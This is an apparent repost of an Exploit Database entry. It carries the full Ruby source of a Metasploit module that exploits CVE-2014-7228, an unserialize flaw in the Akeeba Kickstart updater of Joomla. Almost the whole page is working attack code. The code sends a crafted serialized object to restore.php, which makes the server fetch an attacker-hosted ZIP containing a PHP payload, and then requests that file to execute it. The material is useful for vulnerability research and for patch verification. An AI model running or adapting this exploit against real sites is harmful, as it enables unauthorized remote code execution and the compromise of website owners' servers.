Joomla! Component Akeeba Kickstart – Unserialize Remote Code Execution (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2014-10-21
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/35033/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  require 'rex/zip'
  require 'json'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::FileDropper
  
  def initialize(info={})
  super(update_info(info,
  'Name' => "Joomla Akeeba Kickstart Unserialize Remote Code Execution",
  'Description'=> %q{
  This module exploits a vulnerability found in Joomla! through 2.5.25, 3.2.5 and earlier
  3.x versions and 3.3.0 through 3.3.4 versions. The vulnerability affects the Akeeba
  component, which is responsible for Joomla! updates. Nevertheless it is worth to note
  that this vulnerability is only exploitable during the update of the Joomla! CMS.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Johannes Dahse', # Vulnerability discovery
  'us3r777 <us3r777[at]n0b0.so>'# Metasploit module
  ],
  'References' =>
  [
  [ 'CVE', '2014-7228' ],
  [ 'URL', 'http://developer.joomla.org/security/595-20140903-core-remote-file-inclusion.html'],
  [ 'URL', 'https://www.akeebabackup.com/home/news/1605-security-update-sep-2014.html'],
  [ 'URL', 'http://websec.wordpress.com/2014/10/05/joomla-3-3-4-akeeba-kickstart-remote-code-execution-cve-2014-7228/'],
  ],
  'Platform' => ['php'],
  'Arch' => ARCH_PHP,
  'Targets'=>
  [
  [ 'Joomla < 2.5.25 / Joomla 3.x < 3.2.5 / Joomla 3.3.0 < 3.3.4', {} ]
  ],
  'Stance' => Msf::Exploit::Stance::Aggressive,
  'Privileged' => false,
  'DisclosureDate' => "Sep 29 2014",
  'DefaultTarget'=> 0))
  
  register_options(
  [
  OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']),
  OptInt.new('HTTPDELAY',[false, 'Seconds to wait before terminating web server', 5])
  ], self.class)
  end
  
  def check
  res = send_request_cgi(
  'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restoration.php')
  )
  
  if res && res.code == 200
  return Exploit::CheckCode::Detected
  end
  
  Exploit::CheckCode::Safe
  end
  
  def primer
  srv_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(3))}.zip"
  
  php_serialized_akfactory = 'O:9:"AKFactory":1:{s:18:"' + "\x00" + 'AKFactory' + "\x00" + 'varlist";a:2:{s:27:"kickstart.security.password";s:0:"";s:26:"kickstart.setup.sourcefile";s:' + srv_uri.length.to_s + ':"' + srv_uri + '";}}'
  php_filename = rand_text_alpha(8 + rand(8)) + '.php'
  
  # Create the zip archive
  print_status("Creating archive with file #{php_filename}")
  zip_file = Rex::Zip::Archive.new
  zip_file.add_file(php_filename, payload.encoded)
  @zip = zip_file.pack
  
  # First step: call restore to run _prepare() and get an initialized AKFactory
  print_status("#{peer} - Sending PHP serialized object...")
  res = send_request_cgi({
  'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'),
  'vars_get'=> {
  'task'=> 'stepRestore',
  'factory' => Rex::Text.encode_base64(php_serialized_akfactory)
  }
  })
  
  unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/
  print_status("#{res.code}\n#{res.body}")
  fail_with(Failure::Unknown, "#{peer} - Unexpected response")
  end
  
  # Second step: modify the currentPartNumber within the returned serialized AKFactory
  json = /###(.*)###/.match(res.body)[1]
  begin
  b64encoded_prepared_factory = JSON.parse(json)['factory']
  rescue JSON::ParserError
  fail_with(Failure::Unknown, "#{peer} - Unexpected response, cannot parse JSON")
  end
  
  prepared_factory = Rex::Text.decode_base64(b64encoded_prepared_factory)
  modified_factory = prepared_factory.gsub('currentPartNumber";i:0', 'currentPartNumber";i:-1')
  
  print_status("#{peer} - Sending initialized and modified AKFactory...")
  res = send_request_cgi({
  'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'),
  'vars_get'=> {
  'task'=> 'stepRestore',
  'factory' => Rex::Text.encode_base64(modified_factory)
  }
  })
  
  unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/
  fail_with(Failure::Unknown, "#{peer} - Unexpected response")
  end
  
  register_files_for_cleanup(php_filename)
  
  print_status("#{peer} - Executing payload...")
  send_request_cgi({
  'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', php_filename)
  }, 2)
  
  end
  
  def exploit
  begin
  Timeout.timeout(datastore['HTTPDELAY']) { super }
  rescue Timeout::Error
  # When the server stops due to our timeout, this is raised
  end
  end
  
  # Handle incoming requests from the server
  def on_request_uri(cli, request)
  if @zip && request.uri =~ /\.zip$/
  print_status("Sending the ZIP archive...")
  send_response(cli, @zip, { 'Content-Type' => 'application/zip' })
  return
  end
  
  print_status("Sending not found...")
  send_not_found(cli)
  end
  
  end